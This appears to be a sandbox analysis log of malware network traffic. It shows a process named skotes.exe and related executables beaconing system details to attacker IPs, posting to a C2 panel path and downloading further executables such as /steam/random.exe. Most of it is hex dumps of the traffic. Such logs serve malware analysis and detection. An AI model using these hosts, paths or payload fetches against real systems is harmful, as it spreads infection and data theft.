6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 [TRUNCATED] Data Ascii: { "ip": "8.46.123.75", "current_time": "1732733424", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 556 }, { "name": "services.exe", "pid": 624 }, { "name": "lsass.exe", "pid": 632 }, { "name": "svchost.exe", "pid": 748 }, { "name": "fontdrvhost.exe", "pid": 772 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "svchost.exe", "pid": 864 }, { "name": "svchost.exe", "pid": 912 }, { "name": "dwm.exe", "pid": 976 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 704 }, { "name": "svchost.exe", "pid": 860 }, { "name": "svchost.exe", "pid": 9 [TRUNCATED]
Nov 27, 2024 18:00:01.906250954 CET	7416	OUT	Data Raw: 43 70 61 51 39 44 39 44 5c 2f 4b 67 43 43 69 69 69 67 42 6a 39 50 78 5c 2f 6f 61 69 71 64 68 75 47 4f 6e 4e 4d 38 76 33 5c 2f 41 45 5c 2f 2b 76 51 42 48 52 52 52 51 41 78 2b 6e 34 5c 2f 30 4e 64 56 34 63 38 52 79 57 6a 5c 2f 32 4c 72 4f 37 56 66 Data Ascii: CpaQ9D9D\/KgCCiiigBj9Px\/oaiqdhuGOnNM8v3\/AE\/+vQBHRRRQAx+n4\/0NdV4c8RyWj\/2LrO7VfCertDZ65od5I0lpPZvIgM1vvJayvbNgl1aXlm9tdQXEELxXETokicq\/T8f6GoqAPsio5O34\/wBKkqOTt+P9KAI6KKKACiiigAooooAKa33T+H86dRQBBg+h\/KkqxUB6n6n+dACUUUUAFFFFABRRRQAUUUUAFFF
Nov 27, 2024 18:00:01.906306028 CET	4944	OUT	Data Raw: 53 73 35 77 62 6a 37 52 56 61 62 78 4d 5a 56 38 6c 7a 75 68 46 4f 70 56 77 2b 47 6f 5a 37 68 4b 45 56 5a 31 38 5a 77 39 69 61 65 5a 65 7a 35 75 6b 5a 5a 66 44 4d 59 79 54 2b 4c 6d 58 4a 47 64 61 4e 4b 4c 5c 2f 50 6a 5c 2f 67 76 2b 6e 6a 7a 39 72 Data Ascii: Ss5wbj7RVabxMZV8lzuhFOpVw+GoZ7hKEVZ18Zw9iaeZez5ukZZfDMYyT+LmXJGdaNKL\/Pj\/gv+njz9rP8AbG+KXgj4dTvceG\/+CeH7JmnfFfxqsIlcW+u+MvG\/g298UCCWIlIryHwj4q8Hap82x44fC+q5OYSB+vf7Z37a8Ouf8EDr79omDUkfxJ8ev2cPAPw2aSKQFpfG3xNj0z4d\/EW0jYSMfN0xm8cPKm53T+zZVlB
Nov 27, 2024 18:00:01.906321049 CET	2472	OUT	Data Raw: 68 68 6a 65 57 36 76 64 58 30 7a 77 7a 71 47 6b 36 62 62 78 6c 47 62 55 37 32 7a 6b 33 4d 49 7a 46 4a 5c 2f 62 68 58 38 32 58 78 36 52 5a 50 2b 44 6c 6a 39 6a 75 4f 52 56 64 48 5c 2f 41 47 52 76 45 36 4f 6a 71 47 52 30 62 77 39 2b 30 53 72 4b 79 Data Ascii: hhjeW6vdX0zwzqGk6bbxlGbU72zk3MIzFJ\/bhX82Xx6RZP+Dlj9juORVdH\/AGRvE6OjqGR0bw9+0SrKysCGVgSGUgggkEYrmqYeeLx+VUKVT2Fdyz6pha+t8PjKPB3E1fB4lJNNvD4qnSrKO0nCzum0ddLELCYDOMTKHtYUcPlVSpRbsq1KPFHD\/taEm01yVqfNSmnGUZQnKMoyi2n+oP8AwSw\/ati\/bH\/YW+BXxjvtQW
Nov 27, 2024 18:00:01.906483889 CET	4944	OUT	Data Raw: 58 37 46 58 5c 2f 42 51 50 34 56 5c 2f 74 79 4c 38 54 4c 62 77 4c 38 4e 5c 2f 6a 78 38 4a 76 45 66 77 6c 75 76 44 45 48 6a 4c 77 58 2b 30 44 38 50 37 48 34 65 2b 4c 4c 57 44 78 68 62 36 78 63 2b 48 39 52 74 74 4f 30 5c 2f 78 4e 34 6f 74 35 37 43 Data Ascii: X7FX\/BQP4V\/tyL8TLbwL8N\/jx8JvEfwluvDEHjLwX+0D8P7H4e+LLWDxhb6xc+H9RttO0\/xN4ot57C\/i0HUysj3sMyeQpe3VJY3b8\/P2xv+Cav7VHxC\/aF+CP8AwUJ\/Y9+NPgb4f\/ti\/DT4W+G\/BHjTwd8WdJOqeAPGD2\/h7UrHW\/L1S10vxE2ialqWl+JNX0C806bQDZ30M9hqmneIfCWo2r6nc+R\/D3\/gp
Nov 27, 2024 18:00:01.906642914 CET	4944	OUT	Data Raw: 34 74 41 38 49 2b 48 4c 46 58 76 74 58 31 42 6f 6b 4d 74 78 4d 52 62 36 56 70 56 74 6d 2b 31 76 55 74 4d 30 39 58 75 6c 2b 48 5c 2f 32 64 66 2b 43 32 6e 37 49 66 37 51 76 78 6b 38 4b 5c 2f 41 62 55 66 43 6e 37 51 66 37 4f 76 78 47 2b 49 4d 4e 6e Data Ascii: 4tA8I+HLFXvtX1BokMtxMRb6VpVtm+1vUtM09Xul+H\/2df+C2n7If7Qvxk8K\/AbUfCn7Qf7OvxG+IMNnL8MtN\/aW+GNh8PbD4lS6l5v8AZtp4S1XRfFvjCyNxqvkumitrsmh2uu3jQaTotzqGsXVrp835N\/8ABbCX4wXP\/BVf\/gmla+GT8GZ7OLwhZX\/wjt\/2mLnxLD8Ap\/jIfHetPqI8ct4buINSfz5rT4ZR26afI
Nov 27, 2024 18:00:02.028793097 CET	2472	OUT	Data Raw: 62 78 54 38 55 5c 2f 44 2b 71 5c 2f 73 75 2b 4d 4c 7a 78 72 34 41 74 5c 2f 68 37 72 66 68 4c 53 74 50 31 6a 56 62 37 56 50 42 57 72 79 32 5c 2f 6a 43 4c 78 4a 34 48 38 57 58 4f 6f 61 65 74 7a 34 45 30 68 49 34 74 46 75 5c 2f 44 39 79 49 4c 6e 55 Data Ascii: bxT8U\/D+q\/su+MLzxr4At\/h7rfhLStP1jVb7VPBWry2\/jCLxJ4H8WXOoaetz4E0hI4tFu\/D9yILnUla7eSa1ls+n\/bT\/YB\/Zi\/b78Dab4K\/aJ8ES6xP4clvbnwX448Oag3h74geBrvUY4otQl8N+Iooblfsl+sFs2oaFrVjrPhvUZ7PT7vUNGurvTdPntftVlJJIH8vSmFSOorOVKnLDrCyinQjiq+OjT6QxmJdJ1
Nov 27, 2024 18:00:02.028851986 CET	2472	OUT	Data Raw: 6e 46 46 4f 6f 33 56 70 34 65 6e 55 39 36 47 45 78 45 38 58 68 6c 73 36 47 4a 71 55 34 55 71 6c 61 6c 4a 57 6c 43 64 53 6c 54 6a 52 6d 31 4b 30 36 58 4e 53 6b 6e 43 63 34 79 56 4e 4b 6c 55 72 31 59 4c 6c 6e 69 61 45 4d 4e 69 48 75 71 32 48 70 54 Data Ascii: nFFOo3Vp4enU96GExE8Xhls6GJqU4UqlalJWlCdSlTjRm1K06XNSknCc4yVNKlUr1YLlniaEMNiHuq2HpTnVp0qkXeM4U6tSVWCafLV5aitOEJR\/FXT\/8Aggr+w\/pN98ANa0fVfjlp\/i\/4B\/FE\/F9PHj+OfDOt+Nvi54xi1HwXqGnn4v6\/4m8Ba5cavomjJ4F0rT9F0HwangbTdMtL\/X5rWBNU1q71JvO\/+CwXh7\
Nov 27, 2024 18:00:02.029057026 CET	4944	OUT	Data Raw: 42 35 4f 61 61 79 67 41 6e 6e 5c 2f 50 34 55 34 73 42 77 63 30 31 6e 42 42 48 4e 41 45 64 4d 4b 41 38 38 38 5c 2f 35 39 4b 66 52 51 42 45 79 37 63 59 7a 7a 6d 6d 56 4b 34 4a 78 67 65 76 39 4b 5a 74 62 30 5c 2f 6c 51 41 32 69 69 69 67 42 43 75 37 Data Ascii: B5OaaygAnn\/P4U4sBwc01nBBHNAEdMKA888\/59KfRQBEy7cYzzmmVK4Jxgev9KZtb0\/lQA2iiigBCu7rnimFAATzwP8APapKQ9D9D\/KgCCiiigAooooAKifr+H9TUtRupJ4HagCJs4OOtCZ\/iz1\/HH\/66ftI5I479P8AGmPk\/dz1\/HH\/AOugBT7dKQru654pQCFBP5\/nTQwPAzQA0oACeeB\/ntUdTnofoai2N6f
Nov 27, 2024 18:00:02.029164076 CET	2472	OUT	Data Raw: 72 34 66 4c 4d 54 47 63 59 30 73 34 7a 43 72 6c 2b 58 79 6d 2b 52 59 69 64 4c 4c 4d 4a 6d 48 74 30 35 38 71 6f 30 4a 50 45 7a 70 38 32 4c 2b 72 53 6a 53 77 31 58 45 4f 4e 35 30 4b 4e 58 2b 78 57 6d 53 6d 34 45 46 77 62 51 51 6d 37 38 69 58 37 4d Data Ascii: r4fLMTGcY0s4zCrl+Xym+RYidLLMJmHt058qo0JPEzp82L+rSjSw1XEON50KNX+xWmSm4EFwbQQm78iX7MLgutubjYfJE7RhpFhMm0SmNWcJuKgtgV\/IV\/wTo1n\/gpV\/wV4\/Zz1TQPF37dfj39mfwb+zpq0nw8\/wCFl\/CTTLiH41\/Gz4g3cUut29z8RPGGh+KPBmqQaJ8P\/DF7oeleRo9\/Z3Hje51KTU\/Etxf6zZ
Nov 27, 2024 18:00:02.029182911 CET	2472	OUT	Data Raw: 71 46 66 4c 73 4a 4f 55 56 4b 70 68 33 68 63 79 78 6d 4e 78 56 57 74 64 30 73 50 68 63 75 6f 35 62 56 64 65 72 57 63 4a 7a 62 6e 37 47 6c 4f 4e 50 6d 6e 74 58 6a 44 44 34 7a 4e 38 4e 55 71 4a 30 73 6a 71 34 69 6c 6d 47 4b 6a 43 63 6f 77 71 51 78 Data Ascii: qFfLsJOUVKph3hcyxmNxVWtd0sPhcuo5bVderWcJzbn7GlONPmntXjDD4zN8NUqJ0sjq4ilmGKjCcowqQxGXYbC0KVFL2+IxePrZhTjh6FCE4r90qlaM63LT\/AKf6K\/ks\/a38Lf8ABQj\/AIIsxfCz9q\/Q\/wBvj41\/tofA2\/8AiPoXgL40fCX9oS81zxETYaxBe6jDLomo+J\/F\/jh9Fj1eDSb+xtNZ8PHw5q3h3XU0
Nov 27, 2024 18:00:04.652683973 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 27 Nov 2024 17:00:04 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 63 52 53 41 4e 6f 67 68 4c 6b 59 6b 34 74 44 4b 31 37 33 32 37 32 36 38 30 34 Data Ascii: cRSANoghLkYk4tDK1732726804

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	54544	185.215.113.43	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:04.132957935 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 36 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009653001&unit=246122658369
Nov 27, 2024 18:00:05.560771942 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 17:00:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	54549	34.118.84.150	80	8476	C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:04.941204071 CET	126	OUT	GET /iYUeIWtRvzKHTkiRYPPG1732630737?argument=cRSANoghLkYk4tDK1732726804 HTTP/1.1 Host: home.twentykm20sr.top Accept: /
Nov 27, 2024 18:00:06.396585941 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 27 Nov 2024 17:00:06 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="585fqgfPTkbhX;" last-modified: Tue, 26 Nov 2024 14:18:57 GMT cache-control: no-cache etag: "1732630737.32013-10816560-800331423" Data Raw: 13 24 7e dd 59 bf e4 79 b8 33 48 e9 ab 0d 72 98 29 7c c9 7b 66 89 41 08 89 42 87 24 21 37 0e d2 d5 7a 04 8b 56 95 18 58 77 dc 23 35 a3 80 ac b7 38 48 3b 75 01 ca e8 a8 f8 df fb 88 87 85 a3 d9 b8 47 d5 ce 81 14 7a 0c 3c 13 33 f1 28 27 8f 25 ca 59 e7 a5 1a 4d 63 1e 5c be ef 6d e2 6c b4 36 ff b9 43 72 77 77 db 12 64 66 00 70 83 80 2c 00 3b ea 41 a6 8a 99 35 4a e3 53 15 41 99 cb 6b 49 91 ce 16 98 8c bb db f7 7c cc 68 65 3e 89 2f c7 63 56 bb ee 3d bd cf 29 7f 59 a9 ac f7 e4 a9 7b 1a 5b a4 d8 8d ce c1 61 6d ad a1 43 01 c3 cb 88 4c 1e aa 26 8d a7 42 f2 a0 f1 38 ea 3d e6 f8 73 96 64 dc 7f 67 a1 59 56 5c d8 10 47 a6 d0 af 0d 80 37 fc a3 a5 9f 58 d4 72 c7 ba be 62 30 2c d8 d0 c5 a7 19 17 fd 0e 21 99 90 d7 a5 0d 23 b6 90 72 93 b0 64 0f 49 15 7a 13 fe 1c 60 5f c5 c6 dc 83 1d 91 bd 7b 57 6b 9d c2 b2 14 f2 cf e5 9a 99 e5 c1 ac 28 b2 d2 37 2a 9b 2e 81 9e 1a 69 84 79 f4 35 5d db 46 92 44 79 3f b9 6e 64 a7 36 d2 ee 33 7e 97 0a 67 bc 34 55 7b 3a 8c 92 7f 26 fa c9 41 31 ba f5 98 13 2d bf 20 d4 1e 4b c7 32 13 47 1a da [TRUNCATED] Data Ascii: $~Yy3Hr)\|{fAB$!7zVXw#58H;uGz<3('%YMc\ml6Crwwdfp,;A5JSAkI\|he>/cV=)Y{[amCL&B8=sdgYV\G7Xrb0,!#rdIz`_{Wk(7.iy5]FDy?nd63~g4U{:&A1- K2G78tb3#J+s{N%tC%CE6Gg\|k89apQ0LZMC;(\sf )8xo?c@BI="MSf<m}};}'R?-!1RA&0@3qV>khL,w9RW^lThO&p`uOQcds4,R>M($Uq1kbBb=&PF9]5h$amFz4o??ER+-Z\D}fZ4jL1m]!{`[e\|hRU5$Hax_rh1v5Kg& G*s~!\A)xBdwI'dAq%-7t`f6Sqqk3;!Rdp6 HaQ\|KwQc#S/\i\|N):hW$q(N4U#b"
Nov 27, 2024 18:00:06.396636963 CET	184	IN	Data Raw: ad 3e 74 4c b8 35 0d d4 71 61 0c 69 a9 68 5f c1 6b 15 74 b3 3e e9 49 70 8d f4 81 b5 ab bd 97 a7 09 ef 77 09 74 93 a6 5a 0f b6 1d 06 31 81 fb 6a 74 41 be 08 32 c6 d2 bb 1b 3c 30 98 dd bd 63 03 2c e0 95 a4 ef 5c b1 3f 88 8b f4 c7 69 e5 29 2b 6f a3 Data Ascii: >tL5qaih_kt>IpwtZ1jtA2<0c,\?i)+o9gWy7HE8;upcrezJ%-\|JA_Ea .--
Nov 27, 2024 18:00:06.396717072 CET	1236	IN	Data Raw: bd 21 7b 4a dd 29 54 d5 e4 5d d6 59 4e cd 42 49 15 a7 bf 82 3d 7c 5c de 11 44 f2 b7 b8 55 c0 75 9d aa a6 f2 7f bb 8c d0 45 a4 0a 91 bf 26 e1 c0 ef 28 37 48 f6 d4 e6 fc 2c b1 20 9e 82 a8 99 60 17 02 e6 d8 fb 97 2e 0b 52 dc 7b 88 40 a7 85 13 5a ef Data Ascii: !{J)T]YNBI=\|\DUuE&(7H, `.R{@Z/T"1SXL,BdPuMar854s0ie>uW,!)cF#6X/<$P9'btwo[g?ekf$o<tEN H5:CR1MW5cIa$of/
Nov 27, 2024 18:00:06.396779060 CET	1236	IN	Data Raw: 03 b6 a2 cb 06 bf 93 76 dd 61 22 13 7a 9c 34 19 7e d1 e2 4d 87 c6 44 e8 9d 3f b0 69 9e 97 e0 ed 4b 9b ea f2 1a b3 40 70 b5 3d b5 4c 72 33 28 20 a6 f8 9a a9 4b 41 d4 ce b1 78 45 40 9e b3 e7 0f 78 a9 ab f9 0e 84 83 13 37 13 81 3f 04 7b 1f d2 2e 2e Data Ascii: va"z4~MD?iK@p=Lr3( KAxE@x7?{.. C+fXmc:pAA&px+"{f5,@ H_b=5azr4o/8`&+2M=C[b!4:=`(@5 m>EDkvc8iuav4
Nov 27, 2024 18:00:06.396792889 CET	1236	IN	Data Raw: 45 be 9a 06 7a 72 14 ca 7b 1a 26 30 0c db 0e 85 7c 81 af 78 c0 f2 4a ee 1f 38 bb 8f 42 bb f5 cd b7 b2 c1 c6 f6 72 3d 02 99 ba ca ca 5f b6 00 5d 37 70 72 87 8a c1 a8 ba 45 fb 05 d6 3f 92 94 6b 73 70 6d 6a 40 f9 68 ab 03 00 3d 30 ca 7b bb cc b3 55 Data Ascii: Ezr{&0\|xJ8Br=_]7prE?kspmj@h=0{U4z'lPA!G b0,,=zW6^"(!bYd ]_[(h.D~='<'^q%AZAHLU [RdGYEGqN}\4Sr#tx<^o\M^
Nov 27, 2024 18:00:06.396805048 CET	1236	IN	Data Raw: 6a 27 7b a3 df 19 e2 69 49 91 bd 3e 3c b3 4d ab b0 22 c8 43 f6 e0 69 5b 41 56 c1 c9 d7 99 05 69 e2 5e 58 a4 92 79 7e 3a 6e 0f 7f d2 19 fe 9b e1 4a fa 1d ee 1e 88 12 b7 9d d1 3e 71 3c 29 2c 9e 1c b1 f1 7e aa 13 dc 7d e9 1a 22 40 77 68 5c a3 22 9c Data Ascii: j'{iI><M"Ci[AVi^Xy~:nJ>q<),~}"@wh\"!Z4Z~[qSLK-:N<eA!y8NCOq`ZE0;L-M^9[,UdHJOy-^nX./-.NT[Et[-'6'"LI8U&6']M
Nov 27, 2024 18:00:06.396976948 CET	736	IN	Data Raw: fb 91 95 bf 69 21 ee 10 2b db 6d 14 51 09 89 45 6a ba cd be 88 09 4f 42 52 13 9f 9d dd 41 78 25 c2 e4 07 4a 18 e7 2a ff 9d 12 13 16 7b 3f 29 fe e9 1f 51 3b 84 c4 ad 52 b6 d4 43 7c 95 f4 37 46 b4 1b d9 ef 96 2e 47 6e 5c 56 0a 74 4f e5 3c 39 4d 62 Data Ascii: i!+mQEjOBRAx%J{?)Q;RC\|7F.Gn\VtO<9MbJ#PB[o"n11>CA-1jO>.{S.2r~jeZW@)\|r3*^!r6M;"^kyc<T c){sfY
Nov 27, 2024 18:00:06.459517956 CET	1236	IN	Data Raw: ed f5 ab 30 74 76 9a c6 31 a1 a9 96 6c 36 23 24 a3 08 a1 6d f9 41 c8 bd 9d 9b ab 3d d5 55 60 74 ad a5 b8 f4 96 a8 e0 5e 49 e8 ab 77 15 47 55 be 36 7a f9 84 60 f7 2b cd 92 03 b6 53 f7 40 87 4e 93 9a 2c d9 80 ae 1f 18 56 43 13 24 07 ec 94 62 cd 2d Data Ascii: 0tv1l6#$mA=U`t^IwGU6z`+S@N,VC$b-cwBW6S9I=OL$Od@wS-8^wAkd)doD*al9d<+i\x02/G+}!:`fnc~u/: /:{{7W!sDwr(
Nov 27, 2024 18:00:06.459604979 CET	1236	IN	Data Raw: 72 91 ce f7 46 8e 5a a0 5b a6 fe 92 94 93 99 68 22 1e 1e e2 c8 6a d8 de 28 13 3f d9 5f 61 9e 72 b0 fd 71 35 3a 38 69 c0 d3 fe 5c d3 d4 0a bb 83 c9 70 fb 4e ec 35 55 bb b5 0c f2 c1 4d b7 87 d5 e4 2b c8 b8 1b 01 81 e7 c2 42 1e a4 fa 79 43 68 f8 cf Data Ascii: rFZ[h"j(?_arq5:8i\pN5UM+ByCh5 r<}5GOX_9(+lYA%)NAI4<Snf;!K6H$QGA2F5jr$`]bADr_r[I%yIE
Nov 27, 2024 18:00:06.492583990 CET	1236	IN	Data Raw: 51 00 55 99 aa c7 90 ea a3 e2 90 c8 2b 07 f8 4c b2 4d 96 4b 18 62 27 c6 65 c6 4c 09 ae 9e c0 58 59 02 be 0e 34 e2 43 d1 26 51 d7 fb 3d 0d 5e a9 c4 9d d1 3e f4 2e 99 49 b0 7c 98 36 f8 59 81 9a 26 60 a8 fa 2c 34 90 a7 8c aa 04 34 1d f1 96 db 3d be Data Ascii: QU+LMKb'eLXY4C&Q=^>.I\|6Y&`,44=.e=0[cWAb2);QEy>qI7A]?Ph<R)/s($1vD0.!Piyc(x4-d-\e8QKaW{U`e27=
Nov 27, 2024 18:00:06.517066002 CET	1236	IN	Data Raw: 74 22 65 b6 00 e3 84 d3 10 fe 64 26 c8 b6 dc e3 37 bb c1 a1 1c f5 69 71 68 94 62 90 02 9c 46 45 bb 43 32 98 10 68 be c8 39 8e 15 6f 16 77 88 06 28 8c 30 f2 c8 a2 2a ad d0 7e 5a f0 ba 4d 69 1f 2f 18 63 f5 f7 05 69 1d 04 1d c7 c2 40 1e 94 b6 ae ee Data Ascii: t"ed&7iqhbFEC2h9ow(0~ZMi/ci@{$wxQ=}]395[z=.1~xuu$\G{?3 EImuTXQ=%/'z}"@.C.#5^Ds!:<Na

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	54550	185.215.113.16	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:05.689891100 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 27, 2024 18:00:07.206851006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 17:00:06 GMT Content-Type: application/octet-stream Content-Length: 1773056 Last-Modified: Wed, 27 Nov 2024 16:47:26 GMT Connection: keep-alive ETag: "67474d1e-1b0e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 00 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 68 00 00 04 00 00 9c 11 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$h@0h@M$a$$ $b@.rsrc$r@.idata $t@ )$v@tevjzfjrpNpx@xjqjchyug@.taggant0h"@
Nov 27, 2024 18:00:07.206873894 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 18:00:07.207684040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 18:00:07.207743883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 18:00:07.207755089 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 18:00:07.208004951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 18:00:07.208065987 CET	1236	IN	Data Raw: 4d 10 2c a0 82 f5 f9 e3 43 2a 8f 59 0b b7 0e b3 63 93 53 d8 12 2f 33 50 7b e6 87 cf 62 dd 84 20 f2 e8 2a 65 d4 5c c0 eb d6 fd 3c 47 d1 e1 8c f9 2e 79 61 9b a3 fa 6b 1b 14 f5 95 ef e4 da 3b 04 15 12 a9 0d 9f f5 fe 31 2f 62 fb 6c 64 e5 eb e7 d2 a6 Data Ascii: M,CYcS/3P{b e\<G.yak;1/bld-8]eK}=>}BQ)ck;nVvJ#2 m^E$ndS.bv]1-]C4g:JK@paANW\>)B
Nov 27, 2024 18:00:07.208077908 CET	248	IN	Data Raw: 1d 69 32 9e 03 e6 9e 01 93 34 c0 a0 59 3a 5e 6f ca 03 86 65 cf 81 79 61 66 72 76 70 06 1d 40 f7 ee 89 e0 65 3c 8e 84 1d 43 5b 52 34 c9 58 38 66 13 33 fd 8b ce 5e 42 87 51 10 39 57 e0 4a f9 3f 4e a5 1c 51 c2 84 9a a6 ea 73 99 02 6c 8f a4 cd 40 fa Data Ascii: i24Y:^oeyafrvp@e<C[R4X8f3^BQ9WJ?NQsl@HZ4=D%HsK?^2VSabt5?qPHH(JIF ~f\|?YG}nO;!R]h%6%\|V?eI#~++iO/JU[K
Nov 27, 2024 18:00:07.208801985 CET	1236	IN	Data Raw: 92 10 ac bb e8 70 8a 80 95 aa b4 ae a6 5a 33 3c 07 0a 6a 69 d4 b0 92 51 a3 26 1e 18 26 71 c9 98 d1 cb 8a ef 3a d3 3f 87 a1 e7 a3 fe 98 60 50 76 cb f6 6d 75 4d a6 20 48 83 e6 00 a6 32 73 2a e1 cf 96 f8 ab 43 fb ed 47 7c 45 22 bc e1 7f 52 05 9b 2c Data Ascii: pZ3<jiQ&&q:?`PvmuM H2s*CG\|E"R,}[j#_j3[r.)H -l\:azDc!;I~i-.Y&e9t'WwkA=:'nm}
Nov 27, 2024 18:00:07.208861113 CET	1236	IN	Data Raw: 0c b8 4c b0 d1 b2 04 7d 7b 6d eb cb c9 cc ac c7 3e e0 f9 f5 26 dd 57 ac 80 52 2b 60 ce 62 3f 0c c9 b6 44 e1 dd f6 01 06 cb f5 b9 1a 1b e6 2e 09 8a 5f 5f 6b dd 99 00 f6 52 6b 42 ef 8a 4d 25 50 dd ec 85 f2 92 aa 28 5d 40 5e f8 f5 da f8 4d 00 dd 26 Data Ascii: L}{m>&WR+`b?D.__kRkBM%P(]@^M&lh\:UhBpC2I6@PuT8FCUif,fa;>fVd`ZG}@+0V({mL:
